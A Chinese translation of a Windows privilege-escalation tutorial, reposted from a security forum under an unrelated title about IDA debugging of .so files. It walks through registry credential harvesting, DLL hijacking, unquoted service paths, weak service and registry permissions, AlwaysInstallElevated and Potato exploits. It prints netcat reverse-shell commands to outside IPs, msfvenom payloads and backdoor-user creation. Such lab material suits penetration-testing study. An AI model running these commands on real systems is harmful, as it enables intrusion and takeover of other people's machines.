新手关于ida动态调试so的一些坑总结

2020-05-23 11:36:52 Author: bbs.pediy.com
觉得文章还不错?,点我收藏



乍闻“提权”二字或许会令人生畏,但是当你了解了应该需要哪些内容、忽视哪些内容之后,就会变得容易些。提权通常归结为适当的信息收集。本教程主要关注常见的提权技巧及其利用方式。

 

本教程一开始是一个没有提权的shell终端。为方便演示,我已使用netcat从Windows 7 x86 虚拟机中反弹了shell 。

漏洞枚举

漏洞枚举有多重要,不言而喻。网上有很多教我们从系统中提取有用信息的方法。在本教程中,我主要关注那些方便获取并使用的脚本。以下是一些较为常见的脚本:

  1. carlospolop的winPEAS
  2. harmj0y的PowerUp
  3. rasta-mouse的Watson
  4. Seatbelt
  5. Powerless
  6. JAWS

根据我的经验,winPEAS和PowerUp是最有用的工具。PowerUp是用PowerShell写的,winPEAS是用C#写的。要运行winPEAS你需要安装.NET Framework 4.0。winPEAS还有.bat版本,可以在没有.NET Framework 4.0的环境中使用。就我个人而言,因为Windows 7 没有默认安装.NET 4.0,我需要先安装.NET 4.0才能使用winPEAS。保险起见,请使用多个脚本进行枚举。举个例子,winPEAS能检测Weak Registry漏洞,而PowerUp则不行。

提权技巧

存储的凭证

在注册表中查找用户名和密码

 

img

 

假设现在你发现了一个密码,你会怎么做?如果RDP(Remote Desktop Protocol远程桌面协议)可用,且用户又在远程桌面用户组里面,那就太棒了。接下来你可以使用下面PowerShell脚本来以该用户的身份运行命令。

$secpasswd = ConvertTo-SecureString "password321" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("john", $secpasswd)
$computer = "GHOST"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","192.168.0.114 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

如果cmdkey/list有返回值,那就意味着,你可以 runas 特定用户,因为它把它的凭证存储在windows上。

runas /savecred /user:ACCESS\Administrator "c:\windows\system32\cmd.exe /c \IP\share\nc.exe -nv 10.10.14.2 80 -e cmd.exe"

Windows内核利用

如果该系统经常升级,那么这些利用方式可能不会那么有效。你可以使用Watson检查看看有没有因为没有打补丁而产生的漏洞。现在Watson已经整合进winPEAS了。一旦你发现任何漏洞,你都可以在下面的仓库中下载到相同的漏洞。这里你要确保下载的架构和你目标架构一致 。如果你需要编译二进制文件,你可以使用kali进行交叉编译。

 

https://github.com/SecWiki/windows-kernel-exploits

DLL 劫持

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。

 

通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

 

1、应用程序加载的目录

 

2、32位系统目录(C:\Windows\System32)

 

3、16位系统目录(C:\Windows\System)

 

4、Windows目录 (C:\Windows)

 

5、当前工作目录(Current Working Directory,CWD)

 

6、在PATH环境变量的目录(先系统后用户)

 

img

 

如你所见,PowerUp检测到了一个潜在的DLL挟持漏洞。通常,我们用PowerUp的Write-HijackDll函数写恶意DLL,并重启该应用程序。当启动该应用程序时,它会加载该恶意DLL并以更高的权限运行我们的代码。

Write-HijackDll -DllPath 'C:\Temp\wlbsctrl.dll'

在这个例子中,使用谷歌快速搜索一下,就能找到 https://github.com/itm4n/Ikeext-Privesc 可用于利用此漏洞。

 

但是你也可以手动实现整个利用过程,以便更好的理解。你可以参考我这篇文章

未使用双引号的服务路径

如果启动了某一服务,Windows就会搜索它的二进制文件来运行。要运行的二进制文件的位置在binPath属性中声明。如果该二进制文件没有被引用,Windows就不知道该二进制文件存放在哪里,然后就会在所有文件夹中进行查找。

 

所以,如果我们想利用这一点,我们需满足三个条件:

  • 服务路径未使用双引号;
  • 服务路径包含空格;以及
  • 我们有某一中间文件夹的写权限。

如果binPath是这样设置的:

C:\Program Files\Unquoted Path Service\Common Files\service.exe

Windows会根据以下顺序进行查找:

  1. C:\Program.exe
  2. C:\Program Files\Unquoted.exe
  3. C:\Program Files\Unquoted Path.exe
  4. C:\Program Files\Unquoted Path Service\Common.exe
  5. C:\Program Files\Unquoted Path Service\Common Files\service.exe

img

 

PowerUp检测到的未使用双引号的服务路径

 

img

 

winPEAS检测到的可写路径

 

msfvenom创建一个payload,命名为control.exe,并将它放到C:\Program Files\Unquoted Path Service\common.exe目录下。

 

img

 

sc start unquotedsvc启动该服务并运行该paylod

弱文件夹权限

如果用户有某一服务所使用的文件夹的写权限,他就可以将二进制文件替换为恶意的二进制文件。那么重启服务后,该恶意二进制文件就会以更高的权限被执行。

 

img

 

有弱权限的二进制服务文件

 

img

 

通过复制payload到该二进制服务文件所在的位置,就可以替换该文件。重启该服务后,payload就会以更高权限被执行。

copy /y C:\Users\user\Desktop\shell.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
sc start filepermsvc

弱服务权限

由SYSTEM创建的服务存在弱权限,会导致提权。如果低权限用户可以修改服务配置,也就是,修改binPath为一个恶意二进制文件并重启该服务,那么,恶意二进制文件就将以SYSTEM权限被执行。

 

如果Authenticated Users组在服务中具有SERVICE_ALL_ACCESS,则它可以修改该服务正在执行的二进制文件。

 

img

msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > shell.exe

当Windows调用启动一个服务时,它调用的是ServiceMain函数,并期望有一个返回值。如果你不指定exe-service,那么上面生成的payload就无法给你返回shell。

 

要运行该payload,需要修改配置并启动该服务。

sc config daclsvc binpath= "C:\Users\user\Desktop\shell.exe"

img

弱注册表权限

在Windows中,每一个服务都有一个注册键,而且这些注册键位于:

HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

如果Authenticated UsersNT AUTHORITY\INTERACTIVE有任一服务的完全控制权,那么你就可以换掉要该service要运行的二进制文件。

 

img

 

img

 

修改注册表ImagePath的值为你的payload所在的位置,并启动该服务。

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\Temp\shell.exe /fsc start regsvc

Always Install Elevated

根据AlwaysInstallElevated组策略,Windows允许低权限用户使用system权限安装微软Windows安装包(Microsoft Windows Installer,MSI)。

 

img

 

msfvenom创建一个msi格式的payload。

 

img

 

msfvenom -p windows/adduser USER=backdoor [email protected] -f msi -o setup.msi

 

使用如下命令安装payload。

msiexec /quiet /qn /i C:\Windows\Temp\setup.msi

img

 

MSI安装后用户添加的后门。

可修改的autorun

img

 

因为autorun的路径是可以修改的,我们可以用payload替换该文件。要以高权限运行该程序,我们需要等某个在admin组的用户登录。

 

img

 

img

 

admin登录

 

img

 

payload在admin登录的那一刻执行。

Tater / Hot Potato

“Hot Potato(又名:Potato)利用windows中已存在的问题,在windows默认配置下进行本地权限提升。实际是利用了NTLM重放(更确切的说是HTPP->SMB重放),和NBNS欺骗。”

 

更多关于此exploit的信息请看这里

 

我们添加了很多用户,现在让我们尝试以admin权限删除其中一个。

 

img

 

藏在admin组的后门用户

powershell -exec Bypass -c ". .\Tater.ps1;Invoke-Tater -Trigger 1 -Command 'net localgroup administrators backdoor /delete';"

img

 

exploit完成后,后门用户被删除了。

篡改token

在渗透测试项目中,渗透测试人员会设法攻破诸如Apache, IIS, SQL, MySQL等服务。但是,这些服务并不是以本地system或更高权限运行,而是网络服务。你可以使用下列的exploit进行提权。

  1. Rotten Potato
  2. Juicy Potato

懒办法

meterpreter> getsystem

 

原文地址:https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842
翻译:看雪翻译小组 lumou
校对:看雪翻译小组 梦野间

[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!

最后于 2天前 被lumou编辑 ,原因:



觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me